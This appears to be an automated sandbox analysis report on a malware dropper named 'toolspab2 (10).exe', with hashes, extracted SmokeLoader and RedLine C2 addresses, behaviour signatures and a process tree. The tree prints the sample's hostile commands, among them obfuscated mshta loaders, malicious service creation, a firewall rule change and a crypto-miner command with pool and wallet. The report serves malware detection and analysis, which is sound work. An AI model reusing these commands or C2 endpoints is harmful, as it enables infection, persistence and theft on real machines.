Overview

overview

10

Static

static

toolspab2 (1).exe

windows7_x64

10

toolspab2 (1).exe

windows10_x64

10

toolspab2 (10).exe

windows7_x64

10

toolspab2 (10).exe

windows10_x64

10

toolspab2 (11).exe

windows7_x64

10

toolspab2 (11).exe

windows10_x64

10

toolspab2 (12).exe

windows7_x64

10

toolspab2 (12).exe

windows10_x64

10

toolspab2 (13).exe

windows7_x64

10

toolspab2 (13).exe

windows10_x64

10

toolspab2 (14).exe

windows7_x64

10

toolspab2 (14).exe

windows10_x64

10

toolspab2 (15).exe

windows7_x64

10

toolspab2 (15).exe

windows10_x64

toolspab2 (16).exe

windows7_x64

10

toolspab2 (16).exe

windows10_x64

10

toolspab2 (17).exe

windows7_x64

10

toolspab2 (17).exe

windows10_x64

10

toolspab2 (18).exe

windows7_x64

10

toolspab2 (18).exe

windows10_x64

10

toolspab2 (19).exe

windows7_x64

10

toolspab2 (19).exe

windows10_x64

10

toolspab2 (2).exe

windows7_x64

10

toolspab2 (2).exe

windows10_x64

10

toolspab2 (20).exe

windows7_x64

10

toolspab2 (20).exe

windows10_x64

10

toolspab2 (21).exe

windows7_x64

10

toolspab2 (21).exe

windows10_x64

10

toolspab2 (22).exe

windows7_x64

10

toolspab2 (22).exe

windows10_x64

10

toolspab2 (23).exe

windows7_x64

10

toolspab2 (23).exe

windows10_x64

10

Resubmissions

12-07-2021 16:55

210712-cvz622xsbj 10

10-07-2021 13:25

210710-pdfh7kft96 10

09-07-2021 23:00

210709-hewxkm1xlj 10

09-07-2021 16:08

210709-5ql27kyjqa 10

09-07-2021 14:08

210709-pt977a4bhe 10

08-07-2021 22:09

210708-3ypfnj5j7x 10

08-07-2021 13:30

210708-4hsk7y9f2x 10

08-07-2021 12:14

210708-8t5f9z9egj 10

Analysis

  • max time kernel
    1801s
  • max time network
    1804s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09-07-2021 16:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    toolspab2 (10).exe

  • Size

    315KB

  • MD5

    1d20e1f65938e837ef1b88f10f1bd6c3

  • SHA1

    703d7098dbfc476d2181b7fc041cc23e49c368f1

  • SHA256

    05cd7440851f13dd8f489bb3c06eba385d85d7d9a77a612049c04c541a88593d

  • SHA512

    f9d333abe1f721b8d45d7bc6b5f286af09a8d233bd1d41f0ad891840cf742364aeca2cb6ccd6543f56a8eaf32804f82f72f961d16d5ba663ad706d164915a196

Score
10/10
gluptebametasploitredlinesmokeloadersocelarstofseexmrigbackdoordiscoverydropperevasioninfostealerloaderminerpersistencespywarestealertrojanvmprotect

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/
rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

C2

82.202.161.37:26317

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • XMRig Miner Payload 1 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 33 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 19 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 30 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 21 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
    1⤵
      PID:912
      • C:\Users\Admin\AppData\Roaming\vgcjjbr
        C:\Users\Admin\AppData\Roaming\vgcjjbr
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:640
        • C:\Users\Admin\AppData\Roaming\vgcjjbr
          C:\Users\Admin\AppData\Roaming\vgcjjbr
          3⤵
          • Executes dropped EXE
          PID:816
      • C:\Users\Admin\AppData\Roaming\vgcjjbr
        C:\Users\Admin\AppData\Roaming\vgcjjbr
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:3932
        • C:\Users\Admin\AppData\Roaming\vgcjjbr
          C:\Users\Admin\AppData\Roaming\vgcjjbr
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks SCSI registry key(s)
          • Suspicious behavior: MapViewOfSection
          PID:4876
      • C:\Users\Admin\AppData\Roaming\sccjjbr
        C:\Users\Admin\AppData\Roaming\sccjjbr
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks SCSI registry key(s)
        • Suspicious behavior: MapViewOfSection
        PID:3760
      • C:\Users\Admin\AppData\Roaming\sccjjbr
        C:\Users\Admin\AppData\Roaming\sccjjbr
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks SCSI registry key(s)
        PID:4740
      • C:\Users\Admin\AppData\Roaming\vgcjjbr
        C:\Users\Admin\AppData\Roaming\vgcjjbr
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:3288
        • C:\Users\Admin\AppData\Roaming\vgcjjbr
          C:\Users\Admin\AppData\Roaming\vgcjjbr
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks SCSI registry key(s)
          PID:4776
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
      1⤵
        PID:2564
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
        • Suspicious use of SetThreadContext
        PID:2856
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:4200
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2748
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
            PID:2736
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
              PID:2488
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1852
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                1⤵
                  PID:1412
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                  1⤵
                    PID:1364
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                    1⤵
                      PID:1184
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1052
                      • C:\Users\Admin\AppData\Local\Temp\toolspab2 (10).exe
                        "C:\Users\Admin\AppData\Local\Temp\toolspab2 (10).exe"
                        1⤵
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:4652
                        • C:\Users\Admin\AppData\Local\Temp\toolspab2 (10).exe
                          "C:\Users\Admin\AppData\Local\Temp\toolspab2 (10).exe"
                          2⤵
                          • Loads dropped DLL
                          • Checks SCSI registry key(s)
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: MapViewOfSection
                          PID:776
                      • C:\Users\Admin\AppData\Local\Temp\2635.exe
                        C:\Users\Admin\AppData\Local\Temp\2635.exe
                        1⤵
                        • Executes dropped EXE
                        PID:964
                      • C:\Users\Admin\AppData\Local\Temp\2869.exe
                        C:\Users\Admin\AppData\Local\Temp\2869.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1132
                      • C:\Users\Admin\AppData\Local\Temp\2DF8.exe
                        C:\Users\Admin\AppData\Local\Temp\2DF8.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1276
                      • C:\Users\Admin\AppData\Local\Temp\39B1.exe
                        C:\Users\Admin\AppData\Local\Temp\39B1.exe
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: MapViewOfSection
                        PID:1612
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:1780
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          1⤵
                            PID:1528
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:2340
                            • C:\Windows\explorer.exe
                              C:\Windows\explorer.exe
                              1⤵
                              • Suspicious behavior: MapViewOfSection
                              PID:2504
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:2628
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                • Suspicious behavior: MapViewOfSection
                                PID:2824
                              • C:\Windows\SysWOW64\explorer.exe
                                C:\Windows\SysWOW64\explorer.exe
                                1⤵
                                  PID:3120
                                • C:\Windows\explorer.exe
                                  C:\Windows\explorer.exe
                                  1⤵
                                  • Suspicious behavior: MapViewOfSection
                                  PID:3852
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:4080
                                  • C:\Users\Admin\AppData\Local\Temp\F179.exe
                                    C:\Users\Admin\AppData\Local\Temp\F179.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4008
                                  • C:\Users\Admin\AppData\Local\Temp\F36E.exe
                                    C:\Users\Admin\AppData\Local\Temp\F36E.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of WriteProcessMemory
                                    PID:3992
                                    • C:\Users\Admin\AppData\Local\Temp\is-0HULN.tmp\F36E.tmp
                                      "C:\Users\Admin\AppData\Local\Temp\is-0HULN.tmp\F36E.tmp" /SL5="$701E0,506127,422400,C:\Users\Admin\AppData\Local\Temp\F36E.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:4400
                                      • C:\Users\Admin\AppData\Local\Temp\is-6MJNC.tmp\1075474_ah_hot_iconçè_)))_.exe
                                        "C:\Users\Admin\AppData\Local\Temp\is-6MJNC.tmp\1075474_ah_hot_iconçè_)))_.exe" /S /UID=rec7
                                        3⤵
                                        • Drops file in Drivers directory
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        • Drops file in Program Files directory
                                        PID:4976
                                        • C:\Program Files\Windows Defender Advanced Threat Protection\ARHRDUKUIL\irecord.exe
                                          "C:\Program Files\Windows Defender Advanced Threat Protection\ARHRDUKUIL\irecord.exe" /VERYSILENT
                                          4⤵
                                          • Executes dropped EXE
                                          PID:4520
                                          • C:\Users\Admin\AppData\Local\Temp\is-5IAS5.tmp\irecord.tmp
                                            "C:\Users\Admin\AppData\Local\Temp\is-5IAS5.tmp\irecord.tmp" /SL5="$4026A,5808768,66560,C:\Program Files\Windows Defender Advanced Threat Protection\ARHRDUKUIL\irecord.exe" /VERYSILENT
                                            5⤵
                                            • Executes dropped EXE
                                            • Drops file in Program Files directory
                                            • Suspicious use of FindShellTrayWindow
                                            PID:1340
                                            • C:\Program Files (x86)\i-record\I-Record.exe
                                              "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                              6⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              PID:1032
                                        • C:\Users\Admin\AppData\Local\Temp\bd-a3284-931-cc889-cbde2c58aabab\Kaevuzhaefushy.exe
                                          "C:\Users\Admin\AppData\Local\Temp\bd-a3284-931-cc889-cbde2c58aabab\Kaevuzhaefushy.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Checks computer location settings
                                          PID:4840
                                        • C:\Users\Admin\AppData\Local\Temp\61-e88e1-956-91999-be75bf4167891\Jaezhowikary.exe
                                          "C:\Users\Admin\AppData\Local\Temp\61-e88e1-956-91999-be75bf4167891\Jaezhowikary.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          PID:3196
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3y1qf4zr.ulp\GcleanerEU.exe /eufive & exit
                                            5⤵
                                              PID:1424
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\prfntgdb.mc5\installer.exe /qn CAMPAIGN="654" & exit
                                              5⤵
                                                PID:1836
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\20ogrg5w.prr\google-game.exe & exit
                                                5⤵
                                                  PID:508
                                                  • C:\Users\Admin\AppData\Local\Temp\20ogrg5w.prr\google-game.exe
                                                    C:\Users\Admin\AppData\Local\Temp\20ogrg5w.prr\google-game.exe
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:3036
                                                    • C:\Users\Admin\AppData\Local\Temp\20ogrg5w.prr\google-game.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\20ogrg5w.prr\google-game.exe" -a
                                                      7⤵
                                                      • Executes dropped EXE
                                                      PID:4508
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lkwmc3bk.3lp\GcleanerWW.exe /mixone & exit
                                                  5⤵
                                                    PID:4048
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xg5ailtv.cu2\toolspab1.exe & exit
                                                    5⤵
                                                      PID:5004
                                                      • C:\Users\Admin\AppData\Local\Temp\xg5ailtv.cu2\toolspab1.exe
                                                        C:\Users\Admin\AppData\Local\Temp\xg5ailtv.cu2\toolspab1.exe
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:4548
                                                        • C:\Users\Admin\AppData\Local\Temp\xg5ailtv.cu2\toolspab1.exe
                                                          C:\Users\Admin\AppData\Local\Temp\xg5ailtv.cu2\toolspab1.exe
                                                          7⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious behavior: MapViewOfSection
                                                          PID:1768
                                            • C:\Users\Admin\AppData\Local\Temp\FA25.exe
                                              C:\Users\Admin\AppData\Local\Temp\FA25.exe
                                              1⤵
                                              • Executes dropped EXE
                                              PID:3984
                                              • C:\Users\Admin\AppData\Local\Temp\FA25.exe
                                                "C:\Users\Admin\AppData\Local\Temp\FA25.exe"
                                                2⤵
                                                • Executes dropped EXE
                                                • Modifies data under HKEY_USERS
                                                • Modifies system certificate store
                                                PID:1084
                                            • C:\Users\Admin\AppData\Local\Temp\FE3D.exe
                                              C:\Users\Admin\AppData\Local\Temp\FE3D.exe
                                              1⤵
                                              • Executes dropped EXE
                                              PID:3940
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qobzvmlk\
                                                2⤵
                                                  PID:1216
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cjtzbxcb.exe" C:\Windows\SysWOW64\qobzvmlk\
                                                  2⤵
                                                    PID:2600
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    "C:\Windows\System32\sc.exe" create qobzvmlk binPath= "C:\Windows\SysWOW64\qobzvmlk\cjtzbxcb.exe /d\"C:\Users\Admin\AppData\Local\Temp\FE3D.exe\"" type= own start= auto DisplayName= "wifi support"
                                                    2⤵
                                                      PID:4072
                                                    • C:\Windows\SysWOW64\sc.exe
                                                      "C:\Windows\System32\sc.exe" description qobzvmlk "wifi internet conection"
                                                      2⤵
                                                        PID:4616
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        "C:\Windows\System32\sc.exe" start qobzvmlk
                                                        2⤵
                                                          PID:1532
                                                        • C:\Windows\SysWOW64\netsh.exe
                                                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                          2⤵
                                                            PID:2088
                                                        • C:\Users\Admin\AppData\Local\Temp\6BA.exe
                                                          C:\Users\Admin\AppData\Local\Temp\6BA.exe
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Modifies system certificate store
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4048
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd.exe /c taskkill /f /im chrome.exe
                                                            2⤵
                                                              PID:1428
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /f /im chrome.exe
                                                                3⤵
                                                                • Kills process with taskkill
                                                                PID:2036
                                                          • C:\Users\Admin\AppData\Local\Temp\9A9.exe
                                                            C:\Users\Admin\AppData\Local\Temp\9A9.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:5100
                                                          • C:\Users\Admin\AppData\Local\Temp\CD7.exe
                                                            C:\Users\Admin\AppData\Local\Temp\CD7.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:1672
                                                            • C:\Windows\SysWOW64\mshta.exe
                                                              "C:\Windows\System32\mshta.exe" VbsCripT: CLOsE ( cReATEoBJeCT ("wSCRipT.shEll" ). RUN ( "cmd /C tYPE ""C:\Users\Admin\AppData\Local\Temp\CD7.exe"" > 0~NM~WIL.eXe && sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if """" == """" for %D iN ( ""C:\Users\Admin\AppData\Local\Temp\CD7.exe"" ) do taskkill -F /IM ""%~NXD"" " , 0 , TRUE ) )
                                                              2⤵
                                                                PID:2248
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /C tYPE "C:\Users\Admin\AppData\Local\Temp\CD7.exe" > 0~NM~WIL.eXe &&sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if "" == "" for %D iN ( "C:\Users\Admin\AppData\Local\Temp\CD7.exe" ) do taskkill -F /IM "%~NXD"
                                                                  3⤵
                                                                    PID:212
                                                                    • C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe
                                                                      0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      PID:4220
                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                        "C:\Windows\System32\mshta.exe" VbsCripT: CLOsE ( cReATEoBJeCT ("wSCRipT.shEll" ). RUN ( "cmd /C tYPE ""C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe"" > 0~NM~WIL.eXe && sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if ""/pwIz2i2S0CJRBKmE4 "" == """" for %D iN ( ""C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe"" ) do taskkill -F /IM ""%~NXD"" " , 0 , TRUE ) )
                                                                        5⤵
                                                                          PID:4280
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /C tYPE "C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe" > 0~NM~WIL.eXe &&sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if "/pwIz2i2S0CJRBKmE4 " == "" for %D iN ( "C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe" ) do taskkill -F /IM "%~NXD"
                                                                            6⤵
                                                                              PID:4836
                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                            "C:\Windows\System32\mshta.exe" vbsCRiPT: CLosE ( cREATEObjECt ( "WsCrIpT.ShElL" ). RUn ( "CmD /q /C EchO 90tQ%daTe%PSA> YAEF9Fv.MI & ECHo | seT /p = ""MZ"" > s1S8NN.3F & CoPY /Y /B S1S8Nn.3f + RVPZHO1.qP + 4ZlR0MZ.q_1 + 1LIRC.u + SWnWL.H +YAEF9FV.MI XN9IOnS.vc &sTART regsvr32.exe -s XN9IONS.VC /u " , 0 , TRue) )
                                                                            5⤵
                                                                              PID:1432
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /q /C EchO 90tQÚTe%PSA> YAEF9Fv.MI & ECHo | seT /p = "MZ" >s1S8NN.3F & CoPY /Y /B S1S8Nn.3f + RVPZHO1.qP + 4ZlR0MZ.q_1 + 1LIRC.u +SWnWL.H +YAEF9FV.MI XN9IOnS.vc &sTART regsvr32.exe -s XN9IONS.VC /u
                                                                                6⤵
                                                                                  PID:3372
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /S /D /c" ECHo "
                                                                                    7⤵
                                                                                      PID:4800
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>s1S8NN.3F"
                                                                                      7⤵
                                                                                        PID:2060
                                                                                      • C:\Windows\SysWOW64\regsvr32.exe
                                                                                        regsvr32.exe -s XN9IONS.VC /u
                                                                                        7⤵
                                                                                        • Loads dropped DLL
                                                                                        • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2036
                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                  taskkill -F /IM "CD7.exe"
                                                                                  4⤵
                                                                                  • Kills process with taskkill
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:3068
                                                                          • C:\Windows\SysWOW64\qobzvmlk\cjtzbxcb.exe
                                                                            C:\Windows\SysWOW64\qobzvmlk\cjtzbxcb.exe /d"C:\Users\Admin\AppData\Local\Temp\FE3D.exe"
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:2084
                                                                            • C:\Windows\SysWOW64\svchost.exe
                                                                              svchost.exe
                                                                              2⤵
                                                                              • Drops file in System32 directory
                                                                              • Suspicious use of SetThreadContext
                                                                              PID:596
                                                                              • C:\Windows\SysWOW64\svchost.exe
                                                                                svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                                                                3⤵
                                                                                  PID:540
                                                                            • \??\c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                              1⤵
                                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                              PID:640
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                              1⤵
                                                                              • Drops file in Windows directory
                                                                              • Modifies Internet Explorer settings
                                                                              • Modifies registry class
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1808
                                                                            • C:\Windows\system32\browser_broker.exe
                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                              1⤵
                                                                              • Modifies Internet Explorer settings
                                                                              PID:1200
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              • Suspicious behavior: MapViewOfSection
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2896
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies Internet Explorer settings
                                                                              • Modifies registry class
                                                                              PID:4728
                                                                            • C:\Windows\system32\rUNdlL32.eXe
                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                              1⤵
                                                                              • Process spawned unexpected child process
                                                                              PID:1336
                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                2⤵
                                                                                • Loads dropped DLL
                                                                                • Modifies registry class
                                                                                PID:4556
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:4180
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              PID:1732
                                                                              • C:\Windows\system32\WerFault.exe
                                                                                C:\Windows\system32\WerFault.exe -u -p 1732 -s 1828
                                                                                2⤵
